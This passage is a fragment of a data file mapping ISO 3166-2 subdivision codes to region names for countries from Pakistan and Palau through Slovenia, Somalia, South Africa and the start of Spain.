\"PK-SD\": \"Sindh\",\n  \"PW-002\": \"Aimeliik\",\n  \"PW-004\": \"Airai\",\n  \"PW-010\": \"Angaur\",\n  \"PW-050\": \"Hatohobei\",\n  \"PW-100\": \"Kayangel\",\n  \"PW-150\": \"Koror\",\n  \"PW-212\": \"Melekeok\",\n  \"PW-214\": \"Ngaraard\",\n  \"PW-218\": \"Ngarchelong\",\n  \"PW-222\": \"Ngardmau\",\n  \"PW-224\": \"Ngatpang\",\n  \"PW-226\": \"Ngchesar\",\n  \"PW-227\": \"Ngeremlengui\",\n  \"PW-228\": \"Ngiwal\",\n  \"PW-350\": \"Peleliu\",\n  \"PW-370\": \"Sonsorol\",\n  \"PS-BTH\": \"Bayt Laḩm\",\n  \"PS-DEB\": \"Dayr al Balaḩ\",\n  \"PS-GZA\": \"Ghazzah\",\n  \"PS-HBN\": \"Al Khalīl\",\n  \"PS-JEN\": \"Janīn\",\n  \"PS-JRH\": \"Arīḩā wal Aghwār\",\n  \"PS-JEM\": \"Al Quds\",\n  \"PS-KYS\": \"Khān Yūnis\",\n  \"PS-NBS\": \"Nāblus\",\n  \"PS-NGZ\": \"Shamāl Ghazzah\",\n  \"PS-QQA\": \"Qalqīlyah\",\n  \"PS-RFH\": \"Rafaḩ\",\n  \"PS-RBH\": \"Rām Allāh wal Bīrah\",\n  \"PS-SLT\": \"Salfīt\",\n  \"PS-TBS\": \"Ţūbās\",\n  \"PS-TKM\": \"Ţūlkarm\",\n  \"PA-1\": \"Bocas del Toro\",\n  \"PA-4\": \"Chiriquí\",\n  \"PA-2\": \"Coclé\",\n  \"PA-3\": \"Colón\",\n  \"PA-5\": \"Darién\",\n  \"PA-EM\": \"Emberá\",\n  \"PA-KY\": \"Guna Yala\",\n  \"PA-6\": \"Herrera\",\n  \"PA-7\": \"Los Santos\",\n  \"PA-NT\": \"Naso Tjër Di\",\n  \"PA-NB\": \"Ngäbe-Buglé\",\n  \"PA-8\": \"Panamá\",\n  \"PA-10\": \"Panamá Oeste\",\n  \"PA-9\": \"Veraguas\",\n  \"PG-NSB\": \"Bougainville\",\n  \"PG-CPM\": \"Central\",\n  \"PG-CPK\": \"Chimbu\",\n  \"PG-EBR\": \"East New Britain\",\n  \"PG-ESW\": \"East Sepik\",\n  \"PG-EHG\": \"Eastern Highlands\",\n  \"PG-EPW\": \"Enga\",\n  \"PG-GPK\": \"Gulf\",\n  \"PG-HLA\": \"Hela\",\n  \"PG-JWK\": \"Jiwaka\",\n  \"PG-MPM\": \"Madang\",\n  \"PG-MRL\": \"Manus\",\n  \"PG-MBA\": \"Milne Bay\",\n  \"PG-MPL\": \"Morobe\",\n  \"PG-NCD\": \"National Capital District\",\n  \"PG-NIK\": \"New Ireland\",\n  \"PG-NPP\": \"Northern\",\n  \"PG-SHM\": \"Southern Highlands\",\n  \"PG-WBK\": \"West New Britain\",\n  \"PG-SAN\": \"West Sepik\",\n  \"PG-WPD\": \"Western\",\n  \"PG-WHM\": \"Western Highlands\",\n  \"PY-16\": \"Alto Paraguay\",\n  \"PY-10\": \"Alto Paraná\",\n  \"PY-13\": \"Amambay\",\n  \"PY-ASU\": \"Asunción\",\n  \"PY-19\": \"Boquerón\",\n  \"PY-5\": \"Caaguazú\",\n  \"PY-6\": \"Caazapá\",\n  \"PY-14\": \"Canindeyú\",\n  \"PY-11\": \"Central\",\n  \"PY-1\": \"Concepción\",\n  \"PY-3\": \"Cordillera\",\n  \"PY-4\": \"Guairá\",\n  \"PY-7\": \"Itapúa\",\n  \"PY-8\": \"Misiones\",\n  \"PY-12\": \"Ñeembucú\",\n  \"PY-9\": \"Paraguarí\",\n  \"PY-15\": \"Presidente Hayes\",\n  \"PY-2\": \"San Pedro\",\n  \"PE-AMA\": \"Amazonas\",\n  \"PE-ANC\": \"Ancash\",\n  \"PE-APU\": \"Apurímac\",\n  \"PE-ARE\": \"Arequipa\",\n  \"PE-AYA\": \"Ayacucho\",\n  \"PE-CAJ\": \"Cajamarca\",\n  \"PE-CUS\": \"Cusco\",\n  \"PE-CAL\": \"El Callao\",\n  \"PE-HUV\": \"Huancavelica\",\n  \"PE-HUC\": \"Huánuco\",\n  \"PE-ICA\": \"Ica\",\n  \"PE-JUN\": \"Junín\",\n  \"PE-LAL\": \"La Libertad\",\n  \"PE-LAM\": \"Lambayeque\",\n  \"PE-LIM\": \"Lima\",\n  \"PE-LOR\": \"Loreto\",\n  \"PE-MDD\": \"Madre de Dios\",\n  \"PE-MOQ\": \"Moquegua\",\n  \"PE-LMA\": \"Municipalidad Metropolitana de Lima\",\n  \"PE-PAS\": \"Pasco\",\n  \"PE-PIU\": \"Piura\",\n  \"PE-PUN\": \"Puno\",\n  \"PE-SAM\": \"San Martín\",\n  \"PE-TAC\": \"Tacna\",\n  \"PE-TUM\": \"Tumbes\",\n  \"PE-UCA\": \"Ucayali\",\n  \"PH-14\": \"Autonomous Region in Muslim Mindanao[b]\",\n  \"PH-05\": \"Bicol\",\n  \"PH-02\": \"Cagayan Valley\",\n  \"PH-40\": \"Calabarzon\",\n  \"PH-13\": \"Caraga\",\n  \"PH-03\": \"Central Luzon\",\n  \"PH-07\": \"Central Visayas\",\n  \"PH-15\": \"Cordillera Administrative Region\",\n  \"PH-11\": \"Davao\",\n  \"PH-08\": \"Eastern Visayas\",\n  \"PH-01\": \"Ilocos\",\n  \"PH-41\": \"Mimaropa\",\n  \"PH-00\": \"National Capital Region\",\n  \"PH-10\": \"Northern Mindanao\",\n  \"PH-12\": \"Soccsksargen\",\n  \"PH-06\": \"Western Visayas\",\n  \"PH-09\": \"Zamboanga Peninsula\",\n  \"PL-02\": \"Dolnośląskie\",\n  \"PL-04\": \"Kujawsko-Pomorskie\",\n  \"PL-06\": \"Lubelskie\",\n  \"PL-08\": \"Lubuskie\",\n  \"PL-10\": \"Łódzkie\",\n  \"PL-12\": \"Małopolskie\",\n  \"PL-14\": \"Mazowieckie\",\n  \"PL-16\": \"Opolskie\",\n  \"PL-18\": \"Podkarpackie\",\n  \"PL-20\": \"Podlaskie\",\n  \"PL-22\": \"Pomorskie\",\n  \"PL-24\": \"Śląskie\",\n  \"PL-26\": \"Świętokrzyskie\",\n  \"PL-28\": \"Warmińsko-Mazurskie\",\n  \"PL-30\": \"Wielkopolskie\",\n  \"PL-32\": \"Zachodniopomorskie\",\n  \"PT-01\": \"Aveiro\",\n  \"PT-02\": \"Beja\",\n  \"PT-03\": \"Braga\",\n  \"PT-04\": \"Bragança\",\n  \"PT-05\": \"Castelo Branco\",\n  \"PT-06\": \"Coimbra\",\n  \"PT-07\": \"Évora\",\n  \"PT-08\": \"Faro\",\n  \"PT-09\": \"Guarda\",\n  \"PT-10\": \"Leiria\",\n  \"PT-11\": \"Lisboa\",\n  \"PT-12\": \"Portalegre\",\n  \"PT-13\": \"Porto\",\n  \"PT-30\": \"Região Autónoma da Madeira\",\n  \"PT-20\": \"Região Autónoma dos Açores\",\n  \"PT-14\": \"Santarém\",\n  \"PT-15\": \"Setúbal\",\n  \"PT-16\": \"Viana do Castelo\",\n  \"PT-17\": \"Vila Real\",\n  \"PT-18\": \"Viseu\",\n  \"QA-DA\": \"Ad Dawḩah\",\n  \"QA-KH\": \"Al Khawr wa adh Dhakhīrah\",\n  \"QA-WA\": \"Al Wakrah\",\n  \"QA-RA\": \"Ar Rayyān\",\n  \"QA-MS\": \"Ash Shamāl\",\n  \"QA-SH\": \"Ash Shīḩānīyah\",\n  \"QA-ZA\": \"Az̧ Z̧a‘āyin\",\n  \"QA-US\": \"Umm Şalāl\",\n  \"RO-AB\": \"Alba\",\n  \"RO-AR\": \"Arad\",\n  \"RO-AG\": \"Argeș\",\n  \"RO-BC\": \"Bacău\",\n  \"RO-BH\": \"Bihor\",\n  \"RO-BN\": \"Bistrița-Năsăud\",\n  \"RO-BT\": \"Botoșani\",\n  \"RO-BV\": \"Brașov\",\n  \"RO-BR\": \"Brăila\",\n  \"RO-B\": \"București\",\n  \"RO-BZ\": \"Buzău\",\n  \"RO-CS\": \"Caraș-Severin\",\n  \"RO-CL\": \"Călărași\",\n  \"RO-CJ\": \"Cluj\",\n  \"RO-CT\": \"Constanța\",\n  \"RO-CV\": \"Covasna\",\n  \"RO-DB\": \"Dâmbovița\",\n  \"RO-DJ\": \"Dolj\",\n  \"RO-GL\": \"Galați\",\n  \"RO-GR\": \"Giurgiu\",\n  \"RO-GJ\": \"Gorj\",\n  \"RO-HR\": \"Harghita\",\n  \"RO-HD\": \"Hunedoara\",\n  \"RO-IL\": \"Ialomița\",\n  \"RO-IS\": \"Iași\",\n  \"RO-IF\": \"Ilfov\",\n  \"RO-MM\": \"Maramureș\",\n  \"RO-MH\": \"Mehedinți\",\n  \"RO-MS\": \"Mureș\",\n  \"RO-NT\": \"Neamț\",\n  \"RO-OT\": \"Olt\",\n  \"RO-PH\": \"Prahova\",\n  \"RO-SM\": \"Satu Mare\",\n  \"RO-SJ\": \"Sălaj\",\n  \"RO-SB\": \"Sibiu\",\n  \"RO-SV\": \"Suceava\",\n  \"RO-TR\": \"Teleorman\",\n  \"RO-TM\": \"Timiș\",\n  \"RO-TL\": \"Tulcea\",\n  \"RO-VS\": \"Vaslui\",\n  \"RO-VL\": \"Vâlcea\",\n  \"RO-VN\": \"Vrancea\",\n  \"RU-AD\": \"Adygeya\",\n  \"RU-AL\": \"Altay\",\n  \"RU-ALT\": \"Altayskiy kray\",\n  \"RU-AMU\": \"Amurskaya oblast'\",\n  \"RU-ARK\": \"Arkhangel'skaya oblast'\",\n  \"RU-AST\": \"Astrakhanskaya oblast'\",\n  \"RU-BA\": \"Bashkortostan\",\n  \"RU-BEL\": \"Belgorodskaya oblast'\",\n  \"RU-BRY\": \"Bryanskaya oblast'\",\n  \"RU-BU\": \"Buryatiya\",\n  \"RU-CE\": \"Chechenskaya Respublika\",\n  \"RU-CHE\": \"Chelyabinskaya oblast'\",\n  \"RU-CHU\": \"Chukotskiy avtonomnyy okrug\",\n  \"RU-CU\": \"Chuvashskaya Respublika\",\n  \"RU-DA\": \"Dagestan\",\n  \"RU-IN\": \"Ingushetiya\",\n  \"RU-IRK\": \"Irkutskaya oblast'\",\n  \"RU-IVA\": \"Ivanovskaya oblast'\",\n  \"RU-KB\": \"Kabardino-BalkarskayaRespublika\",\n  \"RU-KGD\": \"Kaliningradskaya oblast'\",\n  \"RU-KL\": \"Kalmykiya\",\n  \"RU-KLU\": \"Kaluzhskaya oblast'\",\n  \"RU-KAM\": \"Kamchatskiy kray\",\n  \"RU-KC\": \"Karachayevo-CherkesskayaRespublika\",\n  \"RU-KR\": \"Kareliya\",\n  \"RU-KEM\": \"Kemerovskaya oblast'\",\n  \"RU-KHA\": \"Khabarovskiy kray\",\n  \"RU-KK\": \"Khakasiya\",\n  \"RU-KHM\": \"Khanty-Mansiyskiyavtonomnyy okrug\",\n  \"RU-KIR\": \"Kirovskaya oblast'\",\n  \"RU-KO\": \"Komi\",\n  \"RU-KOS\": \"Kostromskaya oblast'\",\n  \"RU-KDA\": \"Krasnodarskiy kray\",\n  \"RU-KYA\": \"Krasnoyarskiy kray\",\n  \"RU-KGN\": \"Kurganskaya oblast'\",\n  \"RU-KRS\": \"Kurskaya oblast'\",\n  \"RU-LEN\": \"Leningradskayaoblast'\",\n  \"RU-LIP\": \"Lipetskaya oblast'\",\n  \"RU-MAG\": \"Magadanskaya oblast'\",\n  \"RU-ME\": \"Mariy El\",\n  \"RU-MO\": \"Mordoviya\",\n  \"RU-MOS\": \"Moskovskaya oblast'\",\n  \"RU-MOW\": \"Moskva\",\n  \"RU-MUR\": \"Murmanskaya oblast'\",\n  \"RU-NEN\": \"Nenetskiyavtonomnyy okrug\",\n  \"RU-NIZ\": \"Nizhegorodskaya oblast'\",\n  \"RU-NGR\": \"Novgorodskaya oblast'\",\n  \"RU-NVS\": \"Novosibirskayaoblast'\",\n  \"RU-OMS\": \"Omskaya oblast'\",\n  \"RU-ORE\": \"Orenburgskaya oblast'\",\n  \"RU-ORL\": \"Orlovskaya oblast'\",\n  \"RU-PNZ\": \"Penzenskaya oblast'\",\n  \"RU-PER\": \"Permskiy kray\",\n  \"RU-PRI\": \"Primorskiy kray\",\n  \"RU-PSK\": \"Pskovskaya oblast'\",\n  \"RU-ROS\": \"Rostovskaya oblast'\",\n  \"RU-RYA\": \"Ryazanskaya oblast'\",\n  \"RU-SA\": \"Saha\",\n  \"RU-SAK\": \"Sakhalinskaya oblast'\",\n  \"RU-SAM\": \"Samarskaya oblast'\",\n  \"RU-SPE\": \"Sankt-Peterburg\",\n  \"RU-SAR\": \"Saratovskaya oblast'\",\n  \"RU-SE\": \"Severnaya Osetiya\",\n  \"RU-SMO\": \"Smolenskaya oblast'\",\n  \"RU-STA\": \"Stavropol'skiy kray\",\n  \"RU-SVE\": \"Sverdlovskaya oblast'\",\n  \"RU-TAM\": \"Tambovskaya oblast'\",\n  \"RU-TA\": \"Tatarstan\",\n  \"RU-TOM\": \"Tomskaya oblast'\",\n  \"RU-TUL\": \"Tul'skaya oblast'\",\n  \"RU-TVE\": \"Tverskaya oblast'\",\n  \"RU-TYU\": \"Tyumenskaya oblast'\",\n  \"RU-TY\": \"Tyva\",\n  \"RU-UD\": \"Udmurtskaya Respublika\",\n  \"RU-ULY\": \"Ul'yanovskaya oblast'\",\n  \"RU-VLA\": \"Vladimirskayaoblast'\",\n  \"RU-VGG\": \"Volgogradskayaoblast'\",\n  \"RU-VLG\": \"Vologodskaya oblast'\",\n  \"RU-VOR\": \"Voronezhskaya oblast'\",\n  \"RU-YAN\": \"Yamalo-Nenetskiyavtonomnyy okrug\",\n  \"RU-YAR\": \"Yaroslavskaya oblast'\",\n  \"RU-YEV\": \"Yevreyskaya avtonomnaya oblast'\",\n  \"RU-ZAB\": \"Zabaykal'skiy kray\",\n  \"RW-01\": \"City of Kigali\",\n  \"RW-02\": \"Eastern\",\n  \"RW-03\": \"Northern\",\n  \"RW-05\": \"Southern\",\n  \"RW-04\": \"Western\",\n  \"SH-AC\": \"Ascension\",\n  \"SH-HL\": \"Saint Helena\",\n  \"SH-TA\": \"Tristan da Cunha\",\n  \"KN-K\": \"Saint Kitts\",\n  \"KN-N\": \"Nevis\",\n  \"LC-01\": \"Anse la Raye\",\n  \"LC-12\": \"Canaries\",\n  \"LC-02\": \"Castries\",\n  \"LC-03\": \"Choiseul\",\n  \"LC-05\": \"Dennery\",\n  \"LC-06\": \"Gros Islet\",\n  \"LC-07\": \"Laborie\",\n  \"LC-08\": \"Micoud\",\n  \"LC-10\": \"Soufrière\",\n  \"LC-11\": \"Vieux Fort\",\n  \"VC-01\": \"Charlotte\",\n  \"VC-06\": \"Grenadines\",\n  \"VC-02\": \"Saint Andrew\",\n  \"VC-03\": \"Saint David\",\n  \"VC-04\": \"Saint George\",\n  \"VC-05\": \"Saint Patrick\",\n  \"WS-AA\": \"A'ana\",\n  \"WS-AL\": \"Aiga-i-le-Tai\",\n  \"WS-AT\": \"Atua\",\n  \"WS-FA\": \"Fa'asaleleaga\",\n  \"WS-GE\": \"Gaga'emauga\",\n  \"WS-GI\": \"Gagaifomauga\",\n  \"WS-PA\": \"Palauli\",\n  \"WS-SA\": \"Satupa'itea\",\n  \"WS-TU\": \"Tuamasaga\",\n  \"WS-VF\": \"Va'a-o-Fonoti\",\n  \"WS-VS\": \"Vaisigano\",\n  \"SM-01\": \"Acquaviva\",\n  \"SM-06\": \"Borgo Maggiore\",\n  \"SM-02\": \"Chiesanuova\",\n  \"SM-07\": \"Città di San Marino\",\n  \"SM-03\": \"Domagnano\",\n  \"SM-04\": \"Faetano\",\n  \"SM-05\": \"Fiorentino\",\n  \"SM-08\": \"Montegiardino\",\n  \"SM-09\": \"Serravalle\",\n  \"ST-01\": \"Água Grande\",\n  \"ST-02\": \"Cantagalo\",\n  \"ST-03\": \"Caué\",\n  \"ST-04\": \"Lembá\",\n  \"ST-05\": \"Lobata\",\n  \"ST-06\": \"Mé-Zóchi\",\n  \"ST-P\": \"Príncipe\",\n  \"SA-14\": \"'Asīr\",\n  \"SA-11\": \"Al Bāḩah\",\n  \"SA-08\": \"Al Ḩudūd ash Shamālīyah\",\n  \"SA-12\": \"Al Jawf\",\n  \"SA-03\": \"Al Madīnah al Munawwarah\",\n  \"SA-05\": \"Al Qaşīm\",\n  \"SA-01\": \"Ar Riyāḑ\",\n  \"SA-04\": \"Ash Sharqīyah\",\n  \"SA-06\": \"Ḩā'il\",\n  \"SA-09\": \"Jāzān\",\n  \"SA-02\": \"Makkah al Mukarramah\",\n  \"SA-10\": \"Najrān\",\n  \"SA-07\": \"Tabūk\",\n  \"SN-DK\": \"Dakar\",\n  \"SN-DB\": \"Diourbel\",\n  \"SN-FK\": \"Fatick\",\n  \"SN-KA\": \"Kaffrine\",\n  \"SN-KL\": \"Kaolack\",\n  \"SN-KE\": \"Kédougou\",\n  \"SN-KD\": \"Kolda\",\n  \"SN-LG\": \"Louga\",\n  \"SN-MT\": \"Matam\",\n  \"SN-SL\": \"Saint-Louis\",\n  \"SN-SE\": \"Sédhiou\",\n  \"SN-TC\": \"Tambacounda\",\n  \"SN-TH\": \"Thiès\",\n  \"SN-ZG\": \"Ziguinchor\",\n  \"SC-01\": \"Anse aux Pins\",\n  \"SC-02\": \"Anse Boileau\",\n  \"SC-03\": \"Anse Etoile\",\n  \"SC-05\": \"Anse Royale\",\n  \"SC-04\": \"Au Cap\",\n  \"SC-06\": \"Baie Lazare\",\n  \"SC-07\": \"Baie Sainte Anne\",\n  \"SC-08\": \"Beau Vallon\",\n  \"SC-09\": \"Bel Air\",\n  \"SC-10\": \"Bel Ombre\",\n  \"SC-11\": \"Cascade\",\n  \"SC-16\": \"English River\",\n  \"SC-12\": \"Glacis\",\n  \"SC-13\": \"Grand Anse Mahe\",\n  \"SC-14\": \"Grand Anse Praslin\",\n  \"SC-26\": \"Ile Perseverance I\",\n  \"SC-27\": \"Ile Perseverance II\",\n  \"SC-15\": \"La Digue\",\n  \"SC-24\": \"Les Mamelles\",\n  \"SC-17\": \"Mont Buxton\",\n  \"SC-18\": \"Mont Fleuri\",\n  \"SC-19\": \"Plaisance\",\n  \"SC-20\": \"Pointe Larue\",\n  \"SC-21\": \"Port Glaud\",\n  \"SC-25\": \"Roche Caiman\",\n  \"SC-22\": \"Saint Louis\",\n  \"SC-23\": \"Takamaka\",\n  \"SL-E\": \"Eastern\",\n  \"SL-NW\": \"North Western\",\n  \"SL-N\": \"Northern\",\n  \"SL-S\": \"Southern\",\n  \"SL-W\": \"Western Area\",\n  \"SG-01\": \"Central Singapore\",\n  \"SG-02\": \"North East\",\n  \"SG-03\": \"North West\",\n  \"SG-04\": \"South East\",\n  \"SG-05\": \"South West\",\n  \"SK-BC\": \"Banskobystrický kraj\",\n  \"SK-BL\": \"Bratislavský kraj\",\n  \"SK-KI\": \"Košický kraj\",\n  \"SK-NI\": \"Nitriansky kraj\",\n  \"SK-PV\": \"Prešovský kraj\",\n  \"SK-TC\": \"Trenčiansky kraj\",\n  \"SK-TA\": \"Trnavský kraj\",\n  \"SK-ZI\": \"Žilinský kraj\",\n  \"SI-001\": \"Ajdovščina\",\n  \"SI-213\": \"Ankaran\",\n  \"SI-195\": \"Apače\",\n  \"SI-002\": \"Beltinci\",\n  \"SI-148\": \"Benedikt\",\n  \"SI-149\": \"Bistrica ob Sotli\",\n  \"SI-003\": \"Bled\",\n  \"SI-150\": \"Bloke\",\n  \"SI-004\": \"Bohinj\",\n  \"SI-005\": \"Borovnica\",\n  \"SI-006\": \"Bovec\",\n  \"SI-151\": \"Braslovče\",\n  \"SI-007\": \"Brda\",\n  \"SI-008\": \"Brezovica\",\n  \"SI-009\": \"Brežice\",\n  \"SI-152\": \"Cankova\",\n  \"SI-011\": \"Celje\",\n  \"SI-012\": \"Cerklje na Gorenjskem\",\n  \"SI-013\": \"Cerknica\",\n  \"SI-014\": \"Cerkno\",\n  \"SI-153\": \"Cerkvenjak\",\n  \"SI-196\": \"Cirkulane\",\n  \"SI-015\": \"Črenšovci\",\n  \"SI-016\": \"Črna na Koroškem\",\n  \"SI-017\": \"Črnomelj\",\n  \"SI-018\": \"Destrnik\",\n  \"SI-019\": \"Divača\",\n  \"SI-154\": \"Dobje\",\n  \"SI-020\": \"Dobrepolje\",\n  \"SI-155\": \"Dobrna\",\n  \"SI-021\": \"Dobrova-Polhov Gradec\",\n  \"SI-156\": \"Dobrovnik\",\n  \"SI-022\": \"Dol pri Ljubljani\",\n  \"SI-157\": \"Dolenjske Toplice\",\n  \"SI-023\": \"Domžale\",\n  \"SI-024\": \"Dornava\",\n  \"SI-025\": \"Dravograd\",\n  \"SI-026\": \"Duplek\",\n  \"SI-027\": \"Gorenja vas-Poljane\",\n  \"SI-028\": \"Gorišnica\",\n  \"SI-207\": \"Gorje\",\n  \"SI-029\": \"Gornja Radgona\",\n  \"SI-030\": \"Gornji Grad\",\n  \"SI-031\": \"Gornji Petrovci\",\n  \"SI-158\": \"Grad\",\n  \"SI-032\": \"Grosuplje\",\n  \"SI-159\": \"Hajdina\",\n  \"SI-160\": \"Hoče-Slivnica\",\n  \"SI-161\": \"Hodoš\",\n  \"SI-162\": \"Horjul\",\n  \"SI-034\": \"Hrastnik\",\n  \"SI-035\": \"Hrpelje-Kozina\",\n  \"SI-036\": \"Idrija\",\n  \"SI-037\": \"Ig\",\n  \"SI-038\": \"Ilirska Bistrica\",\n  \"SI-039\": \"Ivančna Gorica\",\n  \"SI-040\": \"Izola\",\n  \"SI-041\": \"Jesenice\",\n  \"SI-163\": \"Jezersko\",\n  \"SI-042\": \"Juršinci\",\n  \"SI-043\": \"Kamnik\",\n  \"SI-044\": \"Kanal ob Soči\",\n  \"SI-045\": \"Kidričevo\",\n  \"SI-046\": \"Kobarid\",\n  \"SI-047\": \"Kobilje\",\n  \"SI-048\": \"Kočevje\",\n  \"SI-049\": \"Komen\",\n  \"SI-164\": \"Komenda\",\n  \"SI-050\": \"Koper\",\n  \"SI-197\": \"Kostanjevica na Krki\",\n  \"SI-165\": \"Kostel\",\n  \"SI-051\": \"Kozje\",\n  \"SI-052\": \"Kranj\",\n  \"SI-053\": \"Kranjska Gora\",\n  \"SI-166\": \"Križevci\",\n  \"SI-054\": \"Krško\",\n  \"SI-055\": \"Kungota\",\n  \"SI-056\": \"Kuzma\",\n  \"SI-057\": \"Laško\",\n  \"SI-058\": \"Lenart\",\n  \"SI-059\": \"Lendava\",\n  \"SI-060\": \"Litija\",\n  \"SI-061\": \"Ljubljana\",\n  \"SI-062\": \"Ljubno\",\n  \"SI-063\": \"Ljutomer\",\n  \"SI-208\": \"Log-Dragomer\",\n  \"SI-064\": \"Logatec\",\n  \"SI-065\": \"Loška dolina\",\n  \"SI-066\": \"Loški Potok\",\n  \"SI-167\": \"Lovrenc na Pohorju\",\n  \"SI-067\": \"Luče\",\n  \"SI-068\": \"Lukovica\",\n  \"SI-069\": \"Majšperk\",\n  \"SI-198\": \"Makole\",\n  \"SI-070\": \"Maribor\",\n  \"SI-168\": \"Markovci\",\n  \"SI-071\": \"Medvode\",\n  \"SI-072\": \"Mengeš\",\n  \"SI-073\": \"Metlika\",\n  \"SI-074\": \"Mežica\",\n  \"SI-169\": \"Miklavž na Dravskem polju\",\n  \"SI-075\": \"Miren-Kostanjevica\",\n  \"SI-212\": \"Mirna\",\n  \"SI-170\": \"Mirna Peč\",\n  \"SI-076\": \"Mislinja\",\n  \"SI-199\": \"Mokronog-Trebelno\",\n  \"SI-077\": \"Moravče\",\n  \"SI-078\": \"Moravske Toplice\",\n  \"SI-079\": \"Mozirje\",\n  \"SI-080\": \"Murska Sobota\",\n  \"SI-081\": \"Muta\",\n  \"SI-082\": \"Naklo\",\n  \"SI-083\": \"Nazarje\",\n  \"SI-084\": \"Nova Gorica\",\n  \"SI-085\": \"Novo Mesto\",\n  \"SI-086\": \"Odranci\",\n  \"SI-171\": \"Oplotnica\",\n  \"SI-087\": \"Ormož\",\n  \"SI-088\": \"Osilnica\",\n  \"SI-089\": \"Pesnica\",\n  \"SI-090\": \"Piran\",\n  \"SI-091\": \"Pivka\",\n  \"SI-092\": \"Podčetrtek\",\n  \"SI-172\": \"Podlehnik\",\n  \"SI-093\": \"Podvelka\",\n  \"SI-200\": \"Poljčane\",\n  \"SI-173\": \"Polzela\",\n  \"SI-094\": \"Postojna\",\n  \"SI-174\": \"Prebold\",\n  \"SI-095\": \"Preddvor\",\n  \"SI-175\": \"Prevalje\",\n  \"SI-096\": \"Ptuj\",\n  \"SI-097\": \"Puconci\",\n  \"SI-098\": \"Rače-Fram\",\n  \"SI-099\": \"Radeče\",\n  \"SI-100\": \"Radenci\",\n  \"SI-101\": \"Radlje ob Dravi\",\n  \"SI-102\": \"Radovljica\",\n  \"SI-103\": \"Ravne na Koroškem\",\n  \"SI-176\": \"Razkrižje\",\n  \"SI-209\": \"Rečica ob Savinji\",\n  \"SI-201\": \"Renče-Vogrsko\",\n  \"SI-104\": \"Ribnica\",\n  \"SI-177\": \"Ribnica na Pohorju\",\n  \"SI-106\": \"Rogaška Slatina\",\n  \"SI-105\": \"Rogašovci\",\n  \"SI-107\": \"Rogatec\",\n  \"SI-108\": \"Ruše\",\n  \"SI-178\": \"Selnica ob Dravi\",\n  \"SI-109\": \"Semič\",\n  \"SI-110\": \"Sevnica\",\n  \"SI-111\": \"Sežana\",\n  \"SI-112\": \"Slovenj Gradec\",\n  \"SI-113\": \"Slovenska Bistrica\",\n  \"SI-114\": \"Slovenske Konjice\",\n  \"SI-179\": \"Sodražica\",\n  \"SI-180\": \"Solčava\",\n  \"SI-202\": \"Središče ob Dravi\",\n  \"SI-115\": \"Starše\",\n  \"SI-203\": \"Straža\",\n  \"SI-181\": \"Sveta Ana\",\n  \"SI-204\": \"Sveta Trojica v Slovenskih goricah\",\n  \"SI-182\": \"Sveti Andraž v Slovenskih goricah\",\n  \"SI-116\": \"Sveti Jurij ob Ščavnici\",\n  \"SI-210\": \"Sveti Jurij v Slovenskih goricah\",\n  \"SI-205\": \"Sveti Tomaž\",\n  \"SI-033\": \"Šalovci\",\n  \"SI-183\": \"Šempeter-Vrtojba\",\n  \"SI-117\": \"Šenčur\",\n  \"SI-118\": \"Šentilj\",\n  \"SI-119\": \"Šentjernej\",\n  \"SI-120\": \"Šentjur\",\n  \"SI-211\": \"Šentrupert\",\n  \"SI-121\": \"Škocjan\",\n  \"SI-122\": \"Škofja Loka\",\n  \"SI-123\": \"Škofljica\",\n  \"SI-124\": \"Šmarje pri Jelšah\",\n  \"SI-206\": \"Šmarješke Toplice\",\n  \"SI-125\": \"Šmartno ob Paki\",\n  \"SI-194\": \"Šmartno pri Litiji\",\n  \"SI-126\": \"Šoštanj\",\n  \"SI-127\": \"Štore\",\n  \"SI-184\": \"Tabor\",\n  \"SI-010\": \"Tišina\",\n  \"SI-128\": \"Tolmin\",\n  \"SI-129\": \"Trbovlje\",\n  \"SI-130\": \"Trebnje\",\n  \"SI-185\": \"Trnovska Vas\",\n  \"SI-186\": \"Trzin\",\n  \"SI-131\": \"Tržič\",\n  \"SI-132\": \"Turnišče\",\n  \"SI-133\": \"Velenje\",\n  \"SI-187\": \"Velika Polana\",\n  \"SI-134\": \"Velike Lašče\",\n  \"SI-188\": \"Veržej\",\n  \"SI-135\": \"Videm\",\n  \"SI-136\": \"Vipava\",\n  \"SI-137\": \"Vitanje\",\n  \"SI-138\": \"Vodice\",\n  \"SI-139\": \"Vojnik\",\n  \"SI-189\": \"Vransko\",\n  \"SI-140\": \"Vrhnika\",\n  \"SI-141\": \"Vuzenica\",\n  \"SI-142\": \"Zagorje ob Savi\",\n  \"SI-143\": \"Zavrč\",\n  \"SI-144\": \"Zreče\",\n  \"SI-190\": \"Žalec\",\n  \"SI-146\": \"Železniki\",\n  \"SI-191\": \"Žetale\",\n  \"SI-147\": \"Žiri\",\n  \"SI-192\": \"Žirovnica\",\n  \"SI-193\": \"Žužemberk\",\n  \"SB-CT\": \"Capital Territory\",\n  \"SB-CE\": \"Central\",\n  \"SB-CH\": \"Choiseul\",\n  \"SB-GU\": \"Guadalcanal\",\n  \"SB-IS\": \"Isabel\",\n  \"SB-MK\": \"Makira-Ulawa\",\n  \"SB-ML\": \"Malaita\",\n  \"SB-RB\": \"Rennell and Bellona\",\n  \"SB-TE\": \"Temotu\",\n  \"SB-WE\": \"Western\",\n  \"SO-AW\": \"Awdal\",\n  \"SO-BK\": \"Bakool\",\n  \"SO-BN\": \"Banaadir\",\n  \"SO-BR\": \"Bari\",\n  \"SO-BY\": \"Bay\",\n  \"SO-GA\": \"Galguduud\",\n  \"SO-GE\": \"Gedo\",\n  \"SO-HI\": \"Hiiraan\",\n  \"SO-JD\": \"Jubbada Dhexe\",\n  \"SO-JH\": \"Jubbada Hoose\",\n  \"SO-MU\": \"Mudug\",\n  \"SO-NU\": \"Nugaal\",\n  \"SO-SA\": \"Sanaag\",\n  \"SO-SD\": \"Shabeellaha Dhexe\",\n  \"SO-SH\": \"Shabeellaha Hoose\",\n  \"SO-SO\": \"Sool\",\n  \"SO-TO\": \"Togdheer\",\n  \"SO-WO\": \"Woqooyi Galbeed\",\n  \"ZA-EC\": \"Eastern Cape\",\n  \"ZA-FS\": \"Free State\",\n  \"ZA-GP\": \"Gauteng\",\n  \"ZA-KZN\": \"Kwazulu-Natal\",\n  \"ZA-LP\": \"Limpopo\",\n  \"ZA-MP\": \"Mpumalanga\",\n  \"ZA-NW\": \"North-West\",\n  \"ZA-NC\": \"Northern Cape\",\n  \"ZA-WC\": \"Western Cape\",\n  \"ES-AN\": \"Andalucía\",\n  \"ES-AR\": \"Aragón\",\n  \"ES-AS\": \"Asturias\",\n  \"ES-CN\": \"Canarias\",\n  